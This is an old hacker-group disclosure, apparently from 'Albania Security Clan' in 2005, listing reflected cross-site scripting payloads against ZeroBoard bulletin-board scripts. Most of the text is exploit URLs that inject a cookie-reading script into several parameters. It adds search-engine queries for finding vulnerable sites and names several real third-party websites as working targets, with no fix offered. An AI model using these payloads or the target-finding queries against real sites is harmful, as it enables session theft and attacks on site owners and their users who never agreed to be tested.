zeroboardXSS.txt

`".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-  
*'^'~*-,._."  
".,-*-  
,._   
-.,-*-,."  
".,-*-,._ ALBANIA SECURITY   
CLAN -.,-*-,."  
".,-*-  
,._   
-.,-*-,."  
".,-*-  
,._ ...::www.albanianhaxorz.org::...   
-.,-*-,."  
".,-*-,.-  
  
-.,-*-,."  
".,-*-,.- PROUD TO BE   
ALBANIAN -.,-*-,."  
".,-*-  
,._   
-.,-*-,."  
".,-*-,._ Long Live Ethnic   
Albania -.,-*-,."  
".,-*-  
,._   
-.,-*-,."  
".,-*-,._ Copyright (c) 2005 ASC irc.gigachat.net #ASC -  
.,-*-,."  
".,-*-  
,._   
-.,-*-,."  
".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-  
*'^'~*-,._."  
  
Multiples vulnerability in ZeroBoard,  
  
* Exploits *:  
  
http://victime.al/dir/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%  
3Cscript%3Ealert(document.cookie)%3C/script%3E  
(Cross Site Scripting and XSS for found websites with this bugs >>>   
www.google.com // */zboard.php?id=gallery )  
  
>>> http://www.edu-sky.co.kr/board/zboard.php?id=gallery&sn1=ALBANIAN%  
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
|  
  
http://victime.al/bbs or zboard/zboard.php?  
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert  
(document.cookie)%3C/script%3E  
(Path disclosure and Cross Site Scripting and XSS )  
  
>>> http://union.snu.ac.kr/bbs/zboard.php?  
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert  
(document.cookie)%3C/script%3E  
  
|  
  
http://victime.al/bbs or zboard/skin/dir/view_image.php?  
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%  
3C/script%3E  
( Cross Site Scripting and XSS for found websites with this bugs >>>   
www.google.com // */zboard/skin/***/view_image.php? )  
  
>>> http://mytheme.net/zboard/skin/nzeo4_pds/view_image.php?  
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%  
3C/script%3E  
  
|  
  
http://victim.al/bbs or zboard/zboard.php?id=link&page=ALBANIAN%  
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
( Cross Site Scripting edhe XSS for found websites with this bugs >>>   
www.google.com // */***/zboard.php?id=link&page= )  
  
>>> http://jina1110.oolim.net/zboard/bbs/zboard.php?  
id=link&page=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%  
3C/script%3E  
  
* Vendor *  
  
http://www.zeroboard.com/  
  
  
www.albanianhaxorz.org | irc.gigachat.net -j #ASC  
ALBANIA SECURITY CLAN, ALBANIAN RULEZZZ.  
`